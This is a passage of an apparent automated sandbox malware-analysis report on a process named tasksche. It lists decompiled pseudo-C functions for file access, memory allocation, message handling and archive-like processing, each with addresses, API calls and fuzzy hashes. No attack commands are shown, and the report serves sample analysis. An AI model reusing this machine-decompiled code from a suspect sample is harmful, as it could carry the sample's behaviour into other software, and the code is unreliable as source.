					return _t48;
				} else {
					_a4 =  *0x42a258();
					if(E0040A3DC(_a4112,  &_a12, 0x800) == 0) {
						L13:
						if(_a4 == 2) {
							 *((intOrPtr*)(_t63 + 0x1020)) = 1;
						}
						goto L15;
					}
					_t45 = CreateFileW( &_a12, _t62, _v0, 0, 3, _a8, 0); // executed
					_t66 = _t45;
					_t46 =  *0x42a258();
					_t55 = 2;
					if(_t46 == _t55) {
						_a4 = _t55;
					}
					if(_t66 != 0xffffffff) {
						goto L15;
					} else {
						goto L13;
					}
				}
			}

0x004087c8
0x004087cd
0x004087d7
0x004087e0
0x004087e6
0x004087f0
0x004087ec
0x004087ec
0x004087ec
0x004087fe
0x00408806
0x0040880e
0x00408810
0x00408810
0x0040881b
0x0040881e
0x00408824
0x00408826
0x00408829
0x00408829
0x00408832
0x0040883d
0x00408850
0x00408854
0x00408856
0x0040885b
0x004088c0
0x004088c0
0x004088c7
0x004088ca
0x004088ce
0x004088d4
0x004088e2
0x004088e9
0x004088e9
0x004088fa
0x0040885d
0x00408863
0x0040887f
0x004088af
0x004088b4
0x004088b6
0x004088b6
0x00000000
0x004088b4
0x00408895
0x00408897
0x00408899
0x004088a1
0x004088a4
0x004088a6
0x004088a6
0x004088ad
0x00000000
0x00000000
0x00000000
0x00000000
0x004088ad

APIs

CreateFileW.KERNELBASE(?,-7FFFF7FE,?,00000000,00000003,-00000001,00000000,00000802,00000000,?,00000000,00406E59,00000000,00000005,?,00000011), ref: 00408854
CreateFileW.KERNELBASE(?,-7FFFF7FE,?,00000000,00000003,00000000,00000000,?,?,00000800,?,00000000,00406E59,00000000,00000005,?), ref: 00408895

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 4d3b36c18a63bf9a6cb3bb75dabf04ddc5da56a9a0870096324c8bcc010d085f
Instruction ID: e5fec55928a071c2e3d1b6f10086eb5e0cd4d8e33465c7e2028d9d916ffc9c2f
Opcode Fuzzy Hash: 4d3b36c18a63bf9a6cb3bb75dabf04ddc5da56a9a0870096324c8bcc010d085f
Instruction Fuzzy Hash: 083169725047449BE7309B20CD05BEB77D4AB80318F104A2EF9D0A33C2DBBE9548D75A

Uniqueness

Uniqueness Score: -1.00%

Function 004012EA Relevance: 3.1, APIs: 2, Instructions: 76
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 81%

			E004012EA(void* __ecx, void* __edi) {
				void* __ebx;
				void* __esi;
				void* _t30;
				void* _t37;
				void* _t55;
				unsigned int _t57;
				void* _t58;
				signed int _t59;
				intOrPtr* _t62;
				void* _t64;

				E0041A4DC(0x4294da, _t64);
				_t44 = __ecx;
				 *(_t64 - 0x1c) = 0;
				 *(_t64 - 0x18) = 0;
				 *((intOrPtr*)(_t64 - 0x14)) = 0;
				 *((intOrPtr*)(_t64 - 0x10)) = 0;
				_push(0);
				_push(_t64 - 0x1c);
				 *((intOrPtr*)(_t64 - 4)) = 0;
				_t30 = E00402C8B(__ecx, _t55); // executed
				if(_t30 != 0) {
					_push(__edi);
					_t57 =  *(_t64 - 0x18);
					E004012B5(_t64 - 0x1c, 0);
					_t62 =  *((intOrPtr*)(_t64 + 8));
					_t48 = _t62;
					E004012D0(_t62, _t57 + 1);
					__eflags =  *((intOrPtr*)(__ecx + 0xb050)) - 3;
					if( *((intOrPtr*)(__ecx + 0xb050)) != 3) {
						__eflags =  *(__ecx + 0x8944) & 0x00000001;
						if(( *(__ecx + 0x8944) & 0x00000001) == 0) {
							E00411B3C( *(_t64 - 0x1c),  *_t62,  *((intOrPtr*)(_t62 + 4)));
						} else {
							_t59 = _t57 >> 1;
							E00411BA7( *(_t64 - 0x1c),  *_t62, _t59);
							 *((short*)( *_t62 + _t59 * 2)) = 0;
						}
					} else {
						E00411CD1(_t48,  *(_t64 - 0x1c),  *_t62,  *((intOrPtr*)(_t62 + 4)));
					}
					E004012D0(_t62, E0041A7AF( *_t62));
					__eflags =  *(_t64 - 0x1c);
					_pop(_t58);
					if(__eflags != 0) {
						_push( *(_t64 - 0x1c));
						E0041A506(_t44, _t58, _t62, __eflags);
					}
					_t37 = 1;
				} else {
					_t70 =  *(_t64 - 0x1c);
					if( *(_t64 - 0x1c) != 0) {
						_push( *(_t64 - 0x1c));
						E0041A506(__ecx, __edi, 0, _t70);
					}
					_t37 = 0;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t64 - 0xc));
				return _t37;
			}

0x004012ef
0x004012fb
0x004012fd
0x00401300
0x00401303
0x00401306
0x00401309
0x0040130d
0x0040130e
0x00401311
0x00401318
0x0040132f
0x00401330
0x00401337
0x0040133c
0x00401343
0x00401345
0x0040134a
0x00401351
0x00401362
0x00401369
0x0040138a
0x0040136b
0x0040136b
0x00401373
0x0040137c
0x0040137c
0x00401353
0x0040135b
0x0040135b
0x0040139a
0x0040139f
0x004013a3
0x004013a4
0x004013a6
0x004013a9
0x004013ae
0x004013af
0x0040131a
0x0040131a
0x0040131d
0x0040131f
0x00401322
0x00401327
0x00401328
0x00401328
0x004013b6
0x004013be

APIs

__EH_prolog.LIBCMT ref: 004012EF

Part of subcall function 00402C8B: __EH_prolog.LIBCMT ref: 00402C90

_wcslen.LIBCMT ref: 00401391

Part of subcall function 0041A506: __lock.LIBCMT ref: 0041A524
Part of subcall function 0041A506: ___sbh_find_block.LIBCMT ref: 0041A52F
Part of subcall function 0041A506: ___sbh_free_block.LIBCMT ref: 0041A53E
Part of subcall function 0041A506: RtlFreeHeap.NTDLL(00000000,00000000,0042D658,0000000C,0041EF84,00000000,0042D930,0000000C,0041EFBE,00000000,0041A9AB,?,00425448,00000004,0042DB18,0000000C), ref: 0041A56E

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog$FreeHeap___sbh_find_block___sbh_free_block__lock_wcslen
String ID:
API String ID: 2283753871-0
Opcode ID: 2919600df76e4d66bc5d6f82fae5af35264ca928e1590e53ce8e638c26dbddb5
Instruction ID: 0a298500d8bcfa7ff7c3c7c798daa7998fe1fc2396f24876ea38c2992963b511
Opcode Fuzzy Hash: 2919600df76e4d66bc5d6f82fae5af35264ca928e1590e53ce8e638c26dbddb5
Instruction Fuzzy Hash: 43218131C04219AADF11AF95D8019EFBBBAEF44704F10402FF815B26B1D7791951DB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040E75F Relevance: 3.1, APIs: 2, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E0040E75F(void* __ecx, void* __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t33;
				void* _t34;
				intOrPtr _t36;
				intOrPtr _t38;
				intOrPtr _t55;
				void* _t57;
				void* _t59;
				intOrPtr _t61;
				void* _t64;

				_t64 = __eflags;
				_t54 = __edx;
				E0041A4DC(0x4297b1, _t59);
				_push(__ecx);
				E0041AAF0(0xc0b0);
				_push(_t57);
				_push(_t55);
				 *((intOrPtr*)(_t59 - 0x10)) = _t61;
				 *((intOrPtr*)(_t59 - 4)) = 0;
				E00401822(_t59 - 0xc0c0, __edx, _t55, _t64, 0); // executed
				 *((char*)(_t59 - 4)) = 1;
				E00401A1A(_t59 - 0xc0c0, __edx, _t59, _t64,  *((intOrPtr*)(_t59 + 0xc)));
				 *((intOrPtr*)(_t59 - 0x20)) = 0;
				 *((intOrPtr*)(_t59 - 0x1c)) = 0;
				 *((intOrPtr*)(_t59 - 0x18)) = 0;
				 *((intOrPtr*)(_t59 - 0x14)) = 0;
				_push(_t59 - 0x20);
				 *((char*)(_t59 - 4)) = 2;
				_t33 = E00401768(_t59 - 0xc0c0, _t54); // executed
				if(_t33 != 0) {
					_t36 =  *((intOrPtr*)(_t59 - 0x1c));
					_t57 = _t36 + _t36;
					_t55 = _t36;
					_t38 = E0041CF3E(0, _t54, _t55, _t57 + 2);
					 *((intOrPtr*)( *((intOrPtr*)(_t59 + 0x10)))) = _t38;
					if(_t38 != 0) {
						__eflags = 0;
						 *((short*)(_t57 + _t38)) = 0;
						E0041C290(0, _t55, _t57, _t38,  *((intOrPtr*)(_t59 - 0x20)), _t57);
					} else {
						_t55 = 0;
					}
					 *((intOrPtr*)( *((intOrPtr*)(_t59 + 0x14)))) = _t55;
				}
				_t67 =  *((intOrPtr*)(_t59 - 0x20));
				if( *((intOrPtr*)(_t59 - 0x20)) != 0) {
					_push( *((intOrPtr*)(_t59 - 0x20)));
					E0041A506(0, _t55, _t57, _t67);
				}
				 *((char*)(_t59 - 4)) = 0;
				_t34 = E00401228(0, _t59 - 0xc0c0, _t55);
				 *[fs:0x0] =  *((intOrPtr*)(_t59 - 0xc));
				return _t34;
			}

0x0040e75f
0x0040e75f
0x0040e764
0x0040e769
0x0040e76f
0x0040e775
0x0040e776
0x0040e779
0x0040e783
0x0040e786
0x0040e794
0x0040e798
0x0040e79d
0x0040e7a0
0x0040e7a3
0x0040e7a6
0x0040e7ac
0x0040e7b3
0x0040e7b7
0x0040e7be
0x0040e7c0
0x0040e7c3
0x0040e7c6
0x0040e7cc
0x0040e7d5
0x0040e7d9
0x0040e7df
0x0040e7e2
0x0040e7ea
0x0040e7db
0x0040e7db
0x0040e7db
0x0040e7f5
0x0040e7f5
0x0040e7f7
0x0040e7fa
0x0040e7fc
0x0040e7ff
0x0040e804
0x0040e80b
0x0040e80e
0x0040e818
0x0040e821

APIs

__EH_prolog.LIBCMT ref: 0040E764

Part of subcall function 00401822: __EH_prolog.LIBCMT ref: 00401827
Part of subcall function 00401822: _memset.LIBCMT ref: 0040196A
Part of subcall function 00401822: _memset.LIBCMT ref: 00401979
Part of subcall function 00401822: _memset.LIBCMT ref: 00401988

Part of subcall function 00401768: __EH_prolog.LIBCMT ref: 0040176D

_malloc.LIBCMT ref: 0040E7CC

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog_memset$AllocateHeap_malloc
String ID:
API String ID: 47157355-0
Opcode ID: 76dc919e38105a2a0c7a25f94b1f982589f1f165098df706c37864f55c56c04a
Instruction ID: 028989472a53044f7525bc0779393b56fb6d8ddec0b6eee1d5d0b7402cf9aefd
Opcode Fuzzy Hash: 76dc919e38105a2a0c7a25f94b1f982589f1f165098df706c37864f55c56c04a
Instruction Fuzzy Hash: 09217F72800259EFCF15EFA5D8819EEB7B4BF08308F10456FE006B3291E7385A44DB69

Uniqueness

Uniqueness Score: -1.00%

Function 00411119 Relevance: 3.0, APIs: 2, Instructions: 36
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 46%

			E00411119(void* __ecx) {
				void* _t17;
				void** _t20;
				void* _t22;
				intOrPtr* _t23;

				_t18 = __ecx;
				_t22 = __ecx;
				E0041102B(__ecx);
				_t17 = 0;
				 *((char*)(__ecx + 0x194)) = 1;
				 *0x42a114( *((intOrPtr*)(__ecx + 0x198)), 0x20, 0);
				_t23 =  *0x42a250;
				if( *((intOrPtr*)(__ecx + 0x84)) > 0) {
					_t20 = __ecx + 4;
					do {
						E00410EA0(_t18,  *_t20);
						FindCloseChangeNotification( *_t20); // executed
						_t17 = _t17 + 1;
						_t20 =  &(_t20[1]);
					} while (_t17 <  *((intOrPtr*)(_t22 + 0x84)));
				}
				 *0x42a0f8(_t22 + 0x1a0);
				FindCloseChangeNotification( *(_t22 + 0x198)); // executed
				return  *_t23( *((intOrPtr*)(_t22 + 0x19c)));
			}

0x00411119
0x0041111c
0x0041111e
0x00411123
0x0041112e
0x00411135
0x0041113b
0x00411147
0x0041114a
0x0041114d
0x0041114f
0x00411156
0x00411158
0x00411159
0x0041115c
0x00411164
0x0041116c
0x00411178
0x00411185

APIs

FindCloseChangeNotification.KERNELBASE(00000003,00000003,?,?,0044F590,00411241,?,00401024,?,?,0040128E), ref: 00411156
FindCloseChangeNotification.KERNELBASE(?,?,0044F590,00411241,?,00401024,?,?,0040128E), ref: 00411178

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 29ee5acdc12332976cb057a69276285ab821669b88e8e9e7981cd7b54762f760
Instruction ID: 628da898c48b8095e2505876ae832dd6733ab043d372e65b09dbeb3e2adc3a3f
Opcode Fuzzy Hash: 29ee5acdc12332976cb057a69276285ab821669b88e8e9e7981cd7b54762f760
Instruction Fuzzy Hash: F9F06275101704AFD7206B70DC45BD7BBA5EB0A354F00042AF7AA41120CB7768A19B29

Uniqueness

Uniqueness Score: -1.00%

Function 00419CB2 Relevance: 3.0, APIs: 2, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00419CB2(long _a4) {
				char _v164;
				long _t5;
				long _t6;
				long _t8;

				_t8 = _a4;
				_t5 =  *0x42a324(_t8,  &_v164, 0x50);
				if(_t5 != 0) {
					_t5 = E00411E60( &_v164, 0x42b0f4);
					if(_t5 != 0) {
						_t5 = FindWindowExW(_t8, 0, 0x42b0f4, 0); // executed
						_t8 = _t5;
					}
				}
				if(_t8 != 0) {
					_t6 = SHAutoComplete(_t8, 0x10); // executed
					return _t6;
				}
				return _t5;
			}

0x00419cbc
0x00419cc9
0x00419cd1
0x00419ce1
0x00419ce8
0x00419cf0
0x00419cf6
0x00419cf6
0x00419cf8
0x00419cfb
0x00419d00
0x00000000
0x00419d00
0x00419d08

APIs

FindWindowExW.USER32(?,00000000,0042B0F4,00000000,?,0042B0F4), ref: 00419CF0
SHAutoComplete.SHLWAPI(?,00000010), ref: 00419D00

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: AutoCompleteFindWindow
String ID:
API String ID: 4260060072-0
Opcode ID: b027ed5b97d113a91e8e700dc85ec23dd11054ff1df16afbaa6f3d453c1c9159
Instruction ID: c03662b206b47bf0f9187f3c1687b62eae72e09aaad69f108c393d7fbd584eff
Opcode Fuzzy Hash: b027ed5b97d113a91e8e700dc85ec23dd11054ff1df16afbaa6f3d453c1c9159
Instruction Fuzzy Hash: 3CF0E232300219BBDB305A15AD05FEB36BC9F86B40F840066FE01E2280EB68D84285BA

Uniqueness

Uniqueness Score: -1.00%

Function 0041A89A Relevance: 3.0, APIs: 2, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0041A89A(void* __ebx, void* __edx, void* __edi, void* __eflags, signed int _a4, signed int _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20) {
				signed int _v0;
				char _v16;
				intOrPtr _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				void* _t39;
				signed int _t40;
				signed int _t46;
				void* _t51;
				void* _t53;
				intOrPtr* _t56;
				intOrPtr* _t58;
				void* _t62;
				void* _t74;
				void* _t75;
				signed int _t76;
				signed int _t79;

				_t75 = __edi;
				_t74 = __edx;
				_t62 = __ebx;
				while(1) {
					_t39 = E0041CF3E(_t62, _t74, _t75, _a4); // executed
					if(_t39 != 0) {
						break;
					}
					_t40 = E0041FC9B(_a4);
					__eflags = _t40;
					if(_t40 == 0) {
						__eflags =  *0x44f810 & 0x00000001;
						if(( *0x44f810 & 0x00000001) == 0) {
							 *0x44f810 =  *0x44f810 | 0x00000001;
							__eflags =  *0x44f810;
							E0041216A(0x44f804);
							E0041C9CF( *0x44f810, 0x4299d0);
						}
						E004125FA( &_v16, 0x44f804);
						E0041C77F( &_v16, 0x42d504);
						asm("int3");
						_push(_t62);
						__eflags = _v0;
						if(__eflags != 0) {
							_push(0x44f804);
							_t79 = _a4;
							_push(_t75);
							_t76 = _a8;
							__eflags = _t76;
							if(_t76 == 0) {
								L12:
								_v28 = 0x42;
								_v32 = _t79;
								_v40 = _t79;
								__eflags = _t76 - 0x3fffffff;
								if(_t76 <= 0x3fffffff) {
									_v36 = _t76 + _t76;
								} else {
									_v36 = 0x7fffffff;
								}
								_t46 = _v0( &_v40, _a12, _a16, _a20);
								_a12 = _t46;
								__eflags = _t79;
								if(_t79 != 0) {
									__eflags = _t46;
									if(_t46 < 0) {
										L24:
										__eflags = _v36;
										 *((short*)(_t79 + _t76 * 2 - 2)) = 0;
										_t46 = 0 | _v36 >= 0x00000000;
										__eflags = _t46;
									} else {
										_t22 =  &_v36;
										 *_t22 = _v36 - 1;
										__eflags =  *_t22;
										if( *_t22 < 0) {
											_t51 = E0041FE68(_t74, _t76, 0,  &_v40);
											__eflags = _t51 - 0xffffffff;
											if(_t51 == 0xffffffff) {
												goto L24;
											} else {
												goto L20;
											}
										} else {
											 *_v40 = 0;
											_v40 = _v40 + 1;
											L20:
											_t28 =  &_v36;
											 *_t28 = _v36 - 1;
											__eflags =  *_t28;
											if( *_t28 < 0) {
												_t53 = E0041FE68(_t74, _t76, 0,  &_v40);
												__eflags = _t53 - 0xffffffff;
												if(_t53 == 0xffffffff) {
													goto L24;
												} else {
													goto L23;
												}
											} else {
												 *_v40 = 0;
												L23:
												_t46 = _a12;
											}
										}
									}
								}
							} else {
								__eflags = _t79;
								if(__eflags != 0) {
									goto L12;
								} else {
									_t56 = E0041EDAE(__eflags);
									_push(0);
									_push(0);
									_push(0);
									_push(0);
									_push(0);
									 *_t56 = 0x16;
									_t46 = E00420103(_t74, _t76, _t79) | 0xffffffff;
								}
							}
						} else {
							_t58 = E0041EDAE(__eflags);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							 *_t58 = 0x16;
							_t46 = E00420103(_t74, _t75, 0x44f804) | 0xffffffff;
						}
						return _t46;
					} else {
						continue;
					}
					L27:
				}
				return _t39;
				goto L27;
			}

0x0041a89a
0x0041a89a
0x0041a89a
0x0041a8b1
0x0041a8b4
0x0041a8bc
0x00000000
0x00000000
0x0041a8a7
0x0041a8ad
0x0041a8af
0x0041a8c0
0x0041a8cc
0x0041a8ce
0x0041a8ce
0x0041a8d7
0x0041a8e1
0x0041a8e6
0x0041a8eb
0x0041a8f9
0x0041a8fe
0x0041a907
0x0041a90a
0x0041a90d
0x0041a92f
0x0041a930
0x0041a933
0x0041a934
0x0041a937
0x0041a939
0x0041a95f
0x0041a95f
0x0041a966
0x0041a969
0x0041a96c
0x0041a972
0x0041a980
0x0041a974
0x0041a974
0x0041a974
0x0041a990
0x0041a996
0x0041a999
0x0041a99b
0x0041a99d
0x0041a99f
0x0041a9e3
0x0041a9e5
0x0041a9e8
0x0041a9f1
0x0041a9f1
0x0041a9a1
0x0041a9a1
0x0041a9a1
0x0041a9a1
0x0041a9a4
0x0041a9b5
0x0041a9bc
0x0041a9bf
0x00000000
0x00000000
0x00000000
0x00000000
0x0041a9a6
0x0041a9a9
0x0041a9ab
0x0041a9c1
0x0041a9c1
0x0041a9c1
0x0041a9c1
0x0041a9c4
0x0041a9d2
0x0041a9d9
0x0041a9dc
0x00000000
0x00000000
0x00000000
0x00000000
0x0041a9c6
0x0041a9c9
0x0041a9de
0x0041a9de
0x0041a9de
0x0041a9c4
0x0041a9a4
0x0041a99f
0x0041a93b
0x0041a93b
0x0041a93d
0x00000000
0x0041a93f
0x0041a93f
0x0041a944
0x0041a945
0x0041a946
0x0041a947
0x0041a948
0x0041a949
0x0041a957
0x0041a957
0x0041a93d
0x0041a90f
0x0041a90f
0x0041a914
0x0041a915
0x0041a916
0x0041a917
0x0041a918
0x0041a919
0x0041a927
0x0041a927
0x0041a9f6
0x00000000
0x00000000
0x00000000
0x00000000
0x0041a8af
0x0041a8bf
0x00000000

APIs

_malloc.LIBCMT ref: 0041A8B4

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

__CxxThrowException@8.LIBCMT ref: 0041A8F9

Part of subcall function 0041216A: std::exception::exception.LIBCMT ref: 00412174

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: AllocateException@8HeapThrow_mallocstd::exception::exception
String ID:
API String ID: 1264268182-0
Opcode ID: 652451197443050397a994e0f1a437ce7b6bc5e6c303dc83bd53091e5d1b5587
Instruction ID: 42064790ed8d2a037bfba99cbedd4ff18ff19c5b52db1d8e26b3e688ef0b8114
Opcode Fuzzy Hash: 652451197443050397a994e0f1a437ce7b6bc5e6c303dc83bd53091e5d1b5587
Instruction Fuzzy Hash: 64F0E23160021972CB047B22ED46ACE37586F01728B10403BFC1199192DFAC9ADA919E

Uniqueness

Uniqueness Score: -1.00%

Function 0040D116 Relevance: 3.0, APIs: 2, Instructions: 29
windowCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E0040D116() {
				struct tagMSG _v32;
				int _t6;
				long _t12;

				_t6 = PeekMessageW( &_v32, 0, 0, 0, 0); // executed
				if(_t6 != 0) {
					 *0x42a344( &_v32, 0, 0, 0);
					 *0x42a348( &_v32);
					_t12 = DispatchMessageW( &_v32); // executed
					return _t12;
				}
				return _t6;
			}

0x0040d127
0x0040d12f
0x0040d138
0x0040d142
0x0040d14c
0x00000000
0x0040d14c
0x0040d154

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00414539,00000001,?), ref: 0040D127
DispatchMessageW.USER32(?,?,?,?,?,?,?,?,00414539,00000001,?), ref: 0040D14C

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: Message$DispatchPeek
String ID:
API String ID: 1770753511-0
Opcode ID: db1d2709ee26d26a19af258b04a512226032370801fdef34d6f208b0e00134af
Instruction ID: 62915b0a08277243b8fe4fd8ce30adb6e130eab43b2b780e39f86cd7d7c3188f
Opcode Fuzzy Hash: db1d2709ee26d26a19af258b04a512226032370801fdef34d6f208b0e00134af
Instruction Fuzzy Hash: 9FE0ED72E0112AA7CB20ABE19C0CDDB7F6CEE062517404021BD05E2015D638D116C7F5

Uniqueness

Uniqueness Score: -1.00%

Function 00409041 Relevance: 3.0, APIs: 2, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409041(WCHAR* _a4) {
				short _v4100;
				long _t7;
				long _t12;
				long _t13;

				E0041AAF0(0x1000);
				_t7 = GetFileAttributesW(_a4); // executed
				_t13 = _t7;
				if(_t13 == 0xffffffff && E0040A3DC(_a4,  &_v4100, 0x800) != 0) {
					_t12 = GetFileAttributesW( &_v4100); // executed
					_t13 = _t12;
				}
				return _t13;
			}

0x00409049
0x00409059
0x0040905b
0x00409060
0x00409081
0x00409083
0x00409083
0x0040908a

APIs

GetFileAttributesW.KERNELBASE(?,?,?,?,004092AE,?,00406796,?,?,?,?), ref: 00409059
GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,?,?,004092AE,?,00406796,?,?,?,?), ref: 00409081

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: b25c0f1027ae8764d85bcc1b21548e8f0eb716d18d4362393a4ff3fac8f95358
Instruction ID: f0aa2148c7acefeba2e85b7bc3a11c2245577506fd5686bf0be3bfe97b3e7ecd
Opcode Fuzzy Hash: b25c0f1027ae8764d85bcc1b21548e8f0eb716d18d4362393a4ff3fac8f95358
Instruction Fuzzy Hash: BBE092326101186ACB10A669DC00BDE379D9BC83E5F0401B3BE44E32D5DAB4DD95CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040DDFF Relevance: 3.0, APIs: 2, Instructions: 28COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0040DE2D
SetDlgItemTextW.USER32(00000065,?), ref: 0040DE44

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: ItemText_swprintf
String ID:
API String ID: 3011073432-0
Opcode ID: 8034b9b9aa660211ead63cdf03b6a57d34fff27c13a9ae0071d7a28958d0b1e9
Instruction ID: 335ddef7e6713e4d0d4f603cdcadd61df7388e1f4a4116fbf7552c9c9eb2c210
Opcode Fuzzy Hash: 8034b9b9aa660211ead63cdf03b6a57d34fff27c13a9ae0071d7a28958d0b1e9
Instruction Fuzzy Hash: 02F0EC75A0420866E711B7A1CC07F9B36589B09789F04047FB601760F3D9795564479A

Uniqueness

Uniqueness Score: -1.00%

Function 00402C8B Relevance: 1.7, APIs: 1, Instructions: 175
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00402C8B(void* __ecx, signed int __edx) {
				void* __ebx;
				void* __edi;
				char _t69;
				signed int _t75;
				intOrPtr _t84;
				signed int _t88;
				intOrPtr _t96;
				signed int _t116;
				void* _t139;
				void* _t147;

				_t134 = __edx;
				E0041A4DC(0x429577, _t147);
				E0041AAF0(0xe6e0);
				_t141 = __ecx;
				if( *((char*)(__ecx + 0xb064)) == 0) {
					__eflags =  *((char*)(__ecx + 0x8942)) - 5;
					if( *((char*)(__ecx + 0x8942)) > 5) {
						L26:
						_t142 = _t141 + 0x1e;
						__eflags = _t141 + 0x1e;
						E00406376(0x1c, _t142);
						goto L27;
					}
					asm("sbb eax, eax");
					__eflags = ( *(__ecx + 0x8941) & 0x000000ff) - ( ~( *((intOrPtr*)(__ecx + 0xb050)) - 3) & 0x0000001d);
					if(( *(__ecx + 0x8941) & 0x000000ff) > ( ~( *((intOrPtr*)(__ecx + 0xb050)) - 3) & 0x0000001d)) {
						goto L26;
					}
					_t75 =  *(__ecx + 0x9970) |  *(__ecx + 0x9974);
					__eflags = _t75;
					if(_t75 != 0) {
						L7:
						_t139 = _t141 + 0x20e8;
						E0040B758(_t139);
						_push(_t139);
						E0041768A(_t147 - 0xe6ec, _t134, _t139, __eflags); // executed
						_t106 = 0;
						 *(_t147 - 4) = 0;
						E004126F0(_t147 - 0xe6ec,  *((intOrPtr*)(_t141 + 0x9a0c)), 0); // executed
						__eflags =  *(_t147 + 0xc);
						if( *(_t147 + 0xc) != 0) {
							L16:
							__eflags =  *((char*)(_t141 + 0x99b3));
							if( *((char*)(_t141 + 0x99b3)) == 0) {
								L19:
								_t106 = _t141 + 0x9988;
								E00409885(_t141 + 0x59b8,  *(_t141 + 0x9988), 1);
								 *((intOrPtr*)(_t141 + 0x210c)) =  *((intOrPtr*)(_t141 + 0x9974));
								 *((intOrPtr*)(_t141 + 0x2108)) =  *((intOrPtr*)(_t141 + 0x9970));
								 *((char*)(_t141 + 0x2110)) = 0;
								E0040B863(_t139, _t141,  *(_t147 + 0xc));
								 *((char*)(_t141 + 0x42af)) =  *((intOrPtr*)(_t141 + 0x99b1));
								 *(_t139 + 0x3c) =  *(_t139 + 0x3c) & 0x00000000;
								 *((intOrPtr*)(_t139 + 0x38)) = _t141 + 0x8928;
								__eflags =  *((char*)(_t141 + 0x8942));
								_t84 =  *((intOrPtr*)(_t141 + 0x9978));
								_t116 =  *(_t141 + 0x997c);
								 *((intOrPtr*)(_t147 - 0x9aac)) = _t84;
